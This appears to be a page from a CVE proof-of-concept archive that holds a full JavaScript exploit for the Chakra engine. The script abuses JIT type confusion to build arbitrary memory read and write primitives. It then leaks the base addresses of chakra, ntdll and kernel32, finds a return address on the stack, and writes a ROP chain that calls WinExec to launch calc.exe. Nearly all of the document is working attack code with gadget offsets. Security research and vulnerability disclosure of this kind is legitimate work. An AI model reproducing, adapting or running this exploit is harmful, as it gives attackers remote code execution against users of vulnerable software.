4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / a.js JS
var fake_object = new Array(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
var f64 = new Float64Array(1);
var i32 = new Int32Array(f64.buffer);
var array_addr_hi, array_addr_lo;
var dv;
var BASE = 0x100000000;


function SignedDwordToUnsignedDword(sd)
{
    return (sd < 0) ? sd + 0x100000000 : sd;
}

function opt(arr, proto, arr2) {
    arr[0] = 1.1;
    let tmp = {__proto__: proto};
    arr2[1] = fake_object; // 2.3023e-320;
    addr = arr[1];

    f64[0] = addr;
    var base_lo = i32[0];
    var base_hi = i32[1];

    i32[0] = base_lo + 0x58;
    arr[0] = f64[0];

    // Type*
    fake_object[2] = base_lo + 0x68;         fake_object[3] = base_hi;
    // (TypeId for fake Type object)
    fake_object[4] = 56;                     fake_object[5] = 0;
    // (JavascriptLibrary* for fake Type object, +0x430 must be valid memory)
    fake_object[6] = base_lo + 0x58 - 0x430; fake_object[7] = base_hi;
    // Buffer size
    fake_object[8] = 0x200;                  fake_object[9] = 0;
    // ArrayBuffer pointer, +0x3C IsDetached
    fake_object[10] = base_lo + 0x58 - 0x20 + 20; fake_object[11] = base_hi;
    // Buffer address
    fake_object[14] = base_lo + 0x58;        fake_object[15] = base_hi;
    array_addr_hi = base_hi;
    array_addr_lo = base_lo;

}

function u32_to_i32(x) {
    if (x >= 0x80000000) {
        return -(0x100000000 - x);
    }
    return x;
}

// Int32 to Uint32
function i32_to_u32(x) {
    if (x < 0) {
        return 0x100000000 + x;
    }
    return x;
}


function read32(addr_hi, addr_lo) {
    fake_object[14] = u32_to_i32(addr_lo);
    fake_object[15] = u32_to_i32(addr_hi);
    return DataView.prototype.getInt32.call(dv, 0, true);
}

function read64(addr_hi, addr_low) {
    lower_dword  = read32(addr_hi, addr_low);
    higher_dword = read32(addr_hi, addr_low + 4);
    return {hi : higher_dword, lo : lower_dword };
}   

function print64(int64_value, message){
    print(message + '0x'+ i32_to_u32(int64_value.hi).toString(16) + i32_to_u32(int64_value.lo).toString(16).padStart(8, '0'));
}

function write32(addr_hi, addr_lo, value) {    
    fake_object[14] = u32_to_i32(addr_lo);
    fake_object[15] = u32_to_i32(addr_hi);
    DataView.prototype.setInt32.call(dv, 0, value, true);
    /*
    DataView.prototype.setInt32.call(dv, 1, value, true);
    DataView.prototype.setInt32.call(dv, 2, value, true);
    DataView.prototype.setInt32.call(dv, 3, value, true);
    DataView.prototype.setInt32.call(dv, 4, value, true);*/

}

function write64(addr_hi, value) {
    fake_object[15] = u32_to_i32(addr_hi);
    DataView.prototype.setInt32.call(dv, 1, value, true);

}

function main() {
    let arr = [1.1, 2.2, 3.3];
    let arr2 = [1.2, 2.3, 3.4];
    for (let i = 0; i < 10000; i++) {
        opt(arr, {}, arr2);
    }

    opt(arr, arr, arr);
    
    value = SignedDwordToUnsignedDword(array_addr_lo);
    value += SignedDwordToUnsignedDword(array_addr_hi) * 0x100000000;
    print(value.toString(16));

    value = SignedDwordToUnsignedDword(array_addr_lo+0x58);
    value += SignedDwordToUnsignedDword(array_addr_hi) * 0x100000000;
    print(value.toString(16));


    dv = arr[0];
    

    var chakra_leak = read64(array_addr_hi, array_addr_lo);
    

    value = SignedDwordToUnsignedDword(chakra_leak.lo);
    value += SignedDwordToUnsignedDword(chakra_leak.hi) * 0x100000000;
    print(value.toString(16));
    var chakra_base = value-0x000000000535450
    var chakra_base_de_folosit = { hi : chakra_leak.hi, lo : chakra_leak.lo - 0x000000000535450 };
    print(chakra_base.toString(16));

    ntdll_iat = { hi : chakra_base_de_folosit.hi, lo : chakra_base_de_folosit.lo + 0x04b6000};
    var ntdll_leak = read64(ntdll_iat.hi, ntdll_iat.lo);
    print64(ntdll_leak, "[*] ntdll_leak() @ ");

    ntdll_base = { hi : ntdll_leak.hi, lo : ntdll_leak.lo - 0x0000000000319a0};
    print64(ntdll_base, "[*] ntdll_base() @ ");

    //here the addition result in buggy yet we can corectly read off it so only print64 is buggy
    kernel_base_iat = { hi : chakra_base_de_folosit.hi, lo : chakra_base_de_folosit.lo + 0x04b6048};
    var kernel_leak = read64(kernel_base_iat.hi, kernel_base_iat.lo);
    print64(kernel_leak, "[*] kernel_leak() @ ");

    var kernel_base =  { hi : kernel_leak.hi, lo : kernel_leak.lo - 0x0010dd0};
    print64(kernel_base, "[*] kerne32_base() @ ");

    rpc4_base_iat = { hi : chakra_base_de_folosit.hi, lo : chakra_base_de_folosit.lo + 0x04b6520};    
    var rpc4_base_leak = read64(rpc4_base_iat.hi, rpc4_base_iat.lo);
    print64(rpc4_base_leak, "[*] rpc4_base_leak() @ ");

    var rpc4_base =  { hi : rpc4_base_leak.hi, lo : rpc4_base_leak.lo - 0x0cf5b0};
    print64(rpc4_base, "[*] rpc4_base() @ ");

   //00000000`00482352 return
   //00000000`00611008 ThreadContext::globalListFirst
   //4a8 sau 4b0
   globalListFirst = { hi : chakra_base_de_folosit.hi, lo : chakra_base_de_folosit.lo + 0x0611008 };
   print64(globalListFirst, "[*] globalListFirst() @ ");

   threadBuffer = read64(globalListFirst.hi, globalListFirst.lo);
   print64(threadBuffer, "[*] threadBuffer() @ ");

   stackAddr = read64(threadBuffer.hi, threadBuffer.lo + 0x4a8);

   
   return_addr = { hi : chakra_base_de_folosit.hi, lo : chakra_base_de_folosit.lo+0x0482352}; //till here is good
   print64(return_addr, "[*] return_addr() @ ");
   while(true){
        value = read64(stackAddr.hi, stackAddr.lo);
        //print64(value, "[*] value() @ ");

        if(value.hi == return_addr.hi && value.lo == return_addr.lo){
            print("mue basescu")
            print64(stackAddr, "[*] stackaddr() @ ");
            break;
        }
        stackAddr =  { hi : stackAddr.hi, lo : stackAddr.lo-0x8};
        //print64(stackAddr, "[*] stackaddr() @ ");

   }
   print("ie am iesit");
   print64(stackAddr, "[*] stackaddr() @ "); 
   /*
0x18001b2fc: pop rsp ; pop rbp ; ret ; (1 found)

   0x18019a0d2: pop rdx ; ret ; (1 found)
   0
   0x18045ddbf: pop rbp ; pop rcx ; ret ; (1 found)
   
   0x180014db5: pop rax ; ret ; (1 found)
   winexec
   0x180009513: push rax ; ret ; (1 found)
   0x18017ae1b: ret ; (1 found)
   */

   Math.sin(1);
   x =  {hi:array_addr_hi,lo:array_addr_lo+0x58+0x340};
   let cmd = "C:\\Windows\\SysWOW64\\calc.exe";
   /*
   0x41 43 3A 5C |5C 57 69 6E |64 6F 77 73 |5C 5C 53 79| 73 57 4F 57 |36 34 5C 5C |63 61 6C 63 |2E 65 78 65
   */
   write32(x.hi, x.lo+0xa0, 0x5C3A4341);
   write32(x.hi, x.lo+0xa4, 0x6E69575C);

   write32(x.hi, x.lo+0xa8, 0x73776f64);
   write32(x.hi, x.lo+0xac, 0x79535c5c);

   write32(x.hi, x.lo+0xb0, 0x574f5773);
   write32(x.hi, x.lo+0xb4, 0x5C5C3436);

   write32(x.hi, x.lo+0xb8, 0x636c6163);
   write32(x.hi, x.lo+0xbc, 0x6578652E);

   //0x18019a0d2: pop rdx ; ret ; (1 found)
   write32(x.hi, x.lo, chakra_base_de_folosit.lo+0x19a0d2);
   write32(x.hi, x.lo+4, chakra_base_de_folosit.hi);
   write32(x.hi, x.lo+8, 0x00000001);
   write32(x.hi, x.lo+0xc, 0x00000000);
 
   
   //0x18045ddbf: pop rbp ; pop rcx ; ret ; (1 found)
   write32(x.hi, x.lo+0x10, chakra_base_de_folosit.lo+0x45ddbf);
   write32(x.hi, x.lo+0x14, chakra_base_de_folosit.hi);
   write32(x.hi, x.lo+0x18, 0x00000001);
   write32(x.hi, x.lo+0x1c, 0x00000000);
   write32(x.hi, x.lo+0x20, x.lo+0x81+0x20);
   write32(x.hi, x.lo+0x24, x.hi); 
 
   //0x180014db5: pop rax ; ret ; (1 found)
       /*
    0:004> ?KERNEL32!WinExec-kernel32
    Evaluate expression: 427520 = 00000000`00068600
    */
   write32(x.hi, x.lo+0x28, chakra_base_de_folosit.lo+0x14db5);
   write32(x.hi, x.lo+0x2c, chakra_base_de_folosit.hi);
   write32(x.hi, x.lo+0x30, kernel_base.lo+0x0068600);
   write32(x.hi, x.lo+0x34, kernel_base.hi);

   //0x180009513: push rax ; ret ; (1 found)
   write32(x.hi, x.lo+0x38, chakra_base_de_folosit.lo+0x09513);
   write32(x.hi, x.lo+0x3c, chakra_base_de_folosit.hi);

   //0x180037409: and al, 0x30 ; mov rax, rdi ; add rsp, 0x20 ; pop rdi ; ret ; (1 found)
   write32(x.hi, x.lo+0x40, chakra_base_de_folosit.lo+0x37409);
   write32(x.hi, x.lo+0x44, chakra_base_de_folosit.hi);
   write32(x.hi, x.lo+0x60, 0x00000000);
   write32(x.hi, x.lo+0x64, 0x00000000);

   //0x18045ddbf: pop rbp ; pop rcx ; ret ; (1 found)
   //ffffffff`ffffff48 - b8
   write32(x.hi, x.lo+0x68, chakra_base_de_folosit.lo+0x45ddbf);
   write32(x.hi, x.lo+0x6c, chakra_base_de_folosit.hi);
   write32(x.hi, x.lo+0x70, 0x00000001);
   write32(x.hi, x.lo+0x74, 0x00000000);
   write32(x.hi, x.lo+0x78, 0xffffff48);
   write32(x.hi, x.lo+0x7c, 0xffffffff); 

   //0x18048c7ad: add rax, rcx ; ret ; (1 found)
   write32(x.hi, x.lo+0x80, chakra_base_de_folosit.lo+0x48c7ad);
   write32(x.hi, x.lo+0x8c, chakra_base_de_folosit.hi); 

   //0x180009513: push rax ; ret ; (1 found)
   write32(x.hi, x.lo+0x90, chakra_base_de_folosit.lo+0x09513);
   write32(x.hi, x.lo+0x94, chakra_base_de_folosit.hi);

   //014dba: pop rsp ; ret ; (1 found)   
   write32(stackAddr.hi, stackAddr.lo, chakra_base_de_folosit.lo+0x14dba);
   write32(stackAddr.hi, stackAddr.lo+4,chakra_base_de_folosit.hi);
   //rsp
   write32(stackAddr.hi, stackAddr.lo+8, x.lo);
   write32(stackAddr.hi, stackAddr.lo+0xc,x.hi);


   //0x340 is offset for buffer

   Math.sin(1);


    //kernel32-00000000`004b6048
    //rpc4-00000000`004b6520
}

main();